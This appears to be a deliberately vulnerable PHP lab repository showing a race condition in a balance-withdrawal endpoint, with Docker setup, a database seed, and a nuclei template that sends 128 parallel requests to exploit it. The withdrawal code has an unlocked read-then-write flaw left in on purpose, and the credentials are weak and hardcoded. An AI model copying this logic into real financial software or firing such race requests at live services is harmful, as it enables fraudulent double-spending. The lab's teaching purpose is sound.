├── README.md ├── docker-compose.yml ├── docker.mysql.yml ├── docker.php.yml ├── payhack.sql ├── php ├── poc.php └── test.php └── race.yaml /README.md: -------------------------------------------------------------------------------- 1 | # Vulnerable PHP App (Race Condition) 2 | 3 | 4 | ## Environment setup: 5 | 6 | ``` 7 | docker-compose up 8 | ``` 9 | 10 | ## Environment verification: 11 | 12 | Connection Test: 13 | http://localhost/test.php 14 | 15 | Vulnerable endpoint: 16 | http://localhost/poc.php 17 | 18 | ## Race condition exploit: 19 | 20 | ``` 21 | echo http://localhost | nuclei -t race.yml 22 | ``` 23 | 24 | Observe that less than 1280$ were accounted for withdraw from the balance (10$ * 128 requests) with a variable net gain. 25 | 26 | 27 | #### Reference: https://defuse.ca/race-conditions-in-web-applications.htm 28 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | mysql: 5 | build: 6 | context: . 7 | dockerfile: docker.mysql.yml 8 | container_name: php_mysql 9 | environment: 10 | MYSQL_ROOT_PASSWORD: payhack 11 | MYSQL_DATABASE: payhack 12 | MYSQL_USER: payhack 13 | MYSQL_PASSWORD: payhack 14 | ports: 15 | - "3306:3306" 16 | web: 17 | build: 18 | context: . 19 | dockerfile: docker.php.yml 20 | container_name: php_web 21 | depends_on: 22 | - mysql 23 | links: 24 | - mysql 25 | ports: 26 | - "80:80" 27 | stdin_open: true 28 | tty: true -------------------------------------------------------------------------------- /docker.mysql.yml: -------------------------------------------------------------------------------- 1 | FROM mariadb:10.5.8 2 | 3 | ADD payhack.sql /docker-entrypoint-initdb.d -------------------------------------------------------------------------------- /docker.php.yml: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | COPY php/ /var/www/html 3 | RUN docker-php-ext-install pdo pdo_mysql 4 | EXPOSE 80 -------------------------------------------------------------------------------- /payhack.sql: -------------------------------------------------------------------------------- 1 | USE payhack; 2 | 3 | CREATE TABLE IF NOT EXISTS moneyz ( 4 | balance int(11) NOT NULL 5 | ); 6 | 7 | INSERT INTO moneyz (balance) VALUES (10000); 8 | -------------------------------------------------------------------------------- /php/poc.php: -------------------------------------------------------------------------------- 1 | true) 8 | ); 9 | 10 | if(isset($_POST['restore'])) 11 | setBalance(10000); 12 | 13 | if(isset($_GET['wd'])) 14 | withdraw($_GET['wd']); 15 | 16 | echo "Current balance: " . getBalance(); 17 | 18 | function withdraw($amount) 19 | { 20 | $balance = getBalance(); 21 | if($amount <= $balance) 22 | { 23 | $balance = $balance - $amount; 24 | echo "You have withdrawn: $amount
"; 25 | setBalance($balance); 26 | } 27 | else 28 | { 29 | echo "Insufficient funds."; 30 | } 31 | } 32 | 33 | /* 34 | * Use this to experiment with adding extra processing time to the withdraw 35 | * process. 36 | */ 37 | function doWork() 38 | { 39 | for($i = 0; $i < 1000; $i++) 40 | $x *= $x; 41 | } 42 | 43 | function setBalance($x) 44 | { 45 | global $DB; 46 | $q = $DB->prepare("UPDATE `moneyz` SET balance=:x WHERE 1=1"); 47 | $q->bindParam(':x', $x); 48 | $q->execute(); 49 | } 50 | 51 | function getBalance() 52 | { 53 | global $DB; 54 | $q = $DB->prepare("SELECT balance FROM `moneyz` WHERE 1=1"); 55 | $q->execute(); 56 | return (int)$q->fetchColumn(); 57 | } 58 | ?> 59 | 60 |
61 | 62 |
63 | add ?wd=x to withdraw $x 64 |

65 | 66 | 72 | -------------------------------------------------------------------------------- /php/test.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | PHP Test 4 | 5 | 6 | setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION); 16 | echo "Connected succesfully"; 17 | } catch(PDOException $e){ 18 | echo "Connection failed: " . $e -> getMessage(); 19 | } 20 | ?> 21 | 22 | -------------------------------------------------------------------------------- /race.yaml: -------------------------------------------------------------------------------- 1 | id: race-condition-testing 2 | 3 | info: 4 | name: Race Condition testing 5 | author: pdteam 6 | severity: info 7 | 8 | requests: 9 | - raw: 10 | - | 11 | GET /poc.php?wd=10 HTTP/1.1 12 | Host: {{Hostname}} 13 | Pragma: no-cache 14 | Cache-Control: no-cache, no-transform 15 | User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 16 | Connection: close 17 | 18 | aaaa 19 | 20 | race: true 21 | race_count: 128 22 | 23 | matchers: 24 | - type: status 25 | part: header 26 | status: 27 | - 200 --------------------------------------------------------------------------------